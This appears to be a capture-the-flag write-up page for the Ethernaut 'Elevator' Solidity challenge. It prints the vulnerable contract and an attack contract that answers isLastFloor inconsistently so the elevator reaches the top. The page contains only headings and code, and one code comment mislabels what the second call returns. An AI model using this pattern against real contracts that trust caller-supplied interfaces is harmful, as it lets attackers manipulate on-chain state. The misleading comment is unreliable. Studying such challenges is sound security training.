✅Elevator
calling other contract
Description
Background Knowledge
Ethereum Book
Code Audit
Solution
Summary
Last updated
calling other contract
Last updated
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IElevator {
function goTo(uint _floor) external;
}
contract ElevatorAttack {
uint counter;
function attack(address target) external payable {
IElevator(target).goTo(0);
}
function isLastFloor(uint) external returns (bool) {
// Initially counter == 0
counter++; // Now counter == 1
if (counter > 1) return true; // Evaluates to false at call 2
else return false; // Evaluates to false at call 1
}
}